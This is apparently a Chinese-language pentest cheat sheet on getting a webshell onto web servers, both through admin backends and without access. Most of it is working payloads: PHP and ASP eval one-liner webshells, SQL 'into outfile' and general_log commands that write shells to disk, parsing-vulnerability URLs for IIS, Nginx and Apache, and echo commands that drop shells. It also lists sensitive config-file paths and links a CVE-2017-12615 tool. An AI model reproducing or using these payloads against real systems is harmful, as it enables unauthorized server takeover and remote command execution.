Getshell分為進管理者背景Getshell和不進背景Getshell,本文主要總結常見進背景Getshell和部分。
一、進背景Getshell
進台Getshel
1、管理者背景直接Getshell
管理者背景直接上傳Getshell,有時候帶密碼的Webshell連接配接時容易被waf攔截,可以上傳不加密的Webshell如有權限限制可以嘗試管理背景自帶的修改檔案名功能在檔案名前加../來穿越目錄,如上傳的檔案為a.php,将a.php修改為../a.php。
2、背景資料庫備份Getshell
背景資料庫備份getshell,上傳圖檔馬并擷取圖檔馬路徑,通過資料庫備份修改字尾名,如有字尾名無法修改或路徑無法修改限制可修改前端代碼繞過,當所備份的資料庫來源無法修改時,我們可以通過首先将一句話木馬寫入資料庫,比如通過建立管理者使用者,将使用者名用一句話木馬代替(使用者名通常有長度限制,在前端修改maxlength即可),<%eval
然後再通過備份資料庫後通路此界面Getshell。
二、各類上傳Getshell
各類上傳Getshell
1、修改網站上傳類型Getshell
修改網站上傳類型,背景設定中添加aasps|asp|php|jsp|aspx|asa|cer,儲存後上傳aasps檔案,上傳後為asp檔案可以解析Getshll。
2、上傳其他腳本類型Getshell
一台伺服器有多個站,如a網站為asp腳本,b網站為php腳本,而a中限制了上傳檔案類型為asp的檔案,此時可以上傳php的腳本,來拿shell;也可以嘗試腳本檔案字尾名改為asa或者在後面直接加個.如xx.asp.來突破檔案類型限制進行上傳來Getshell解
三、解析漏洞Getshell
1、IIS6.0解析漏洞
http://www.xxx.com/xx.asp/xx.jpg
http://www.xxx.com/xx.asp/xx.txt
http://www.xxx.com/xx.asp/xx.asp;jpg
2、IIS7.0/7.5、Nginx<8.0解析漏洞
http://www.xxx.com/xx.jpg/.php
3、Nginx<8.03空位元組代碼執行漏洞
版本範圍:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
http://www.xxx.com/xx.jpg%00.php
4、Apache解析漏洞
http://www.xxx.com/xx.php.owf.rar逆向解析,直到能解析出php為止
5、CVE-2013-4547 Nginx解析漏洞
http://www.xxx.com/xx.jpg(非編碼空格)\0.php
四、編輯漏洞Getshell
1、網站配置插馬Getshell
進入背景後,網站配置插馬getshell,可以找到源碼本地搭建,插入時注意與源碼閉合,如果插入出錯可能導緻網站報廢。如asp中單引号表示單行注釋作用
%><%eval request("v01cano")%><%
2、編輯器模版Getshell
通過網站的模版編寫一句話,然後生成腳本檔案getshell 通過将木馬添加到壓縮檔案,把名字改為網站的模版類型,上傳到伺服器,getshell)(建立或修改目錄名為xx.asp/ 此目錄下的jsp,html會以asp執行,配置iis6.有0解析漏洞 。
3、修改腳本檔案Getshell
修改背景腳本檔案插入一句話直接Getshell,盡量插在頭和尾 。
4、上傳插件、更新頁面Getshell
進入wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載下傳對應版本找到404路徑,部分OA上傳插件Getshell, jboss,tomcat上傳war包getshell等。
5、執行sql語句寫入Webshell
首先執行錯誤的sql語句,使其暴露出網站的根目錄,以ecshop為例,進入背景執行sql查詢
select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
關于此語句說明,在windows中有時候需要使用斜杠/有時候需要使用雙反斜杠\末尾有時候需要分号,有時候也不需要分号。也可以先将一句話通過ecshop的建立管理者寫入到user表中,然後通過資料庫備份配合解析漏洞Getshell。
五、指令執行Getshel
1、Windows
1.echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php
2、Linux
1.echo -e "<?php @assert(\$_POST[C0cho])?>" > 1.php
Linux需要在$前加\進行防轉義,Windows需要在<前加^防轉義,Windows和Linux中的 “可以使用’或不使用進行嘗試
六、檔案包含Getshell
1、asp包含
include file="123.jpg"調用的檔案必須和被調用的檔案在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下代碼include virtual="檔案所在目錄/123.jpg"
2、php包含
- <?php
- include('123.jpg');
- ?>
3、使用php://input
使用burpsuite截取資料包,并修改内容轉發(還可以使用hackbar工具中的post data中輸入<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)
截取get請求
将一句話木馬
通路浏覽器檢視是否成功
七、資料庫指令執行Getshell
1、Access導出
Access可導出xxx等檔案需要配合解析漏洞。
- create table cmd (a varchar(50));
- insert into cmd (a) values ('一句話木馬') #一句話木馬如:<%execute request(1)%>
- select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
- drop table cmd
菜刀直連https://www.webshell.cc/1.asa;x.xls
2、Sqlserver導出
exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"
3、Mysql導出
以phpMyAdmin為例:
方法一
- create TABLE xiaoma (xiaoma1 text NOT NULL);
- insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
- select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
- drop TABLE IF EXISTS xiaoma;
方法二
select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'
1.
方法三
當資料庫路徑未知時Getshell
1.//建立表a,并且将httpd.conf寫入到表a中
2.create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
然後執行導出操作,将該檔案下載下傳,使用notepad++打開,最後搜尋documentroot,即可找到網站的根目錄:
檔案可能存在的一些路徑:
- # Windows
- c:\windows\php.ini # php配置檔案
- c:\windows\system32\inetsrv\MetaBase.xml # IIS虛拟主機配置檔案
- # Linux
- /etc/php.ini # php配置檔案
- /etc/httpd/conf.d/php.conf
- /etc/httpd/conf/httpd.conf # Apache配置檔案
- /usr/local/apache/conf/httpd.conf
- /usr/local/apache2/conf/httpd.conf
10./usr/local/mysql
11./user/local/httpd/conf/httpd.conf
12./usr/local/apache/conf/extra/httpd-vhosts.conf # 虛拟目錄配置檔案
13./user/local/nginx/conf/httpd.conf # Nginx配置檔案
方法四
通過load_file函數直接加載該檔案内容
1、select load_file('C:/phpStudy/Apache/conf/httpd.conf');
同時需要做如下配置
方法五
general_log_file方法擷取Webshell,show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用寫into outfile寫木馬getshell。
1、show global variables like "%genera%"; #檢視genera檔案配置情況
2、set global general_log = off; #關閉general_log
3、set global general_log = 'on'; #如果general_log關閉需要開啟
4、set global general_log_file = 'D:/www/web/shell.php'
方法六
可執行指令方式
select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'
使用方法
www.xxx.com/shell.php?cmd=ipconfig #cmd=後面加指令
方法七
過防毒軟體方式,上傳圖檔馬c.jpg,圖檔馬内容如下:
www.xxx.com/shell.php?cmd=ipconfig #cmd=後面加指令
導出Webshell
select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'
方法八
直接導出加密Webshell
select unhex('加密代碼') into dumpfile 'D:/www/web/shell.php'
八、不進背景Getshell
1、0day Getshell
各類OA,coremail,cms,php架構,資料庫,java架構等0day,1day,nday Getshell 。
2、寫入日志Getshell
擷取日志路徑,在通路過程中在url或者其他位置寫入<?php eval($_POST[c]);?>;等資訊,使其日志記錄此代碼,然後通路日志路徑,菜刀連接配接Getshell,如phpinfo();中能檢視到error.log和access.log的路徑。
3、IIS/Tomcat寫權限Getshell
IIS6.0,put協定上傳手工或工具,批量掃描工具:iis put scaner,寫權限利用:桂林老兵
Tomcat put上傳 CVE-2017-12615 工具傳送門:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615
4、上傳會員頭像Getshell
将Webshell放入檔案夾,然後壓縮成zip檔案。上傳正常頭像抓包将圖檔檔案内容删除,burp右鍵選擇檔案黏貼功能,将zip包内容複制到burp中的圖檔内容,放行後菜刀連接配接圖檔上傳路徑下的檔案夾(zip壓縮包名)下的Webshell 。
5、遠端指令執行
參考Linux/Windows反彈shell,腳本語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法 。
6、其他漏洞Getshell
XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell 。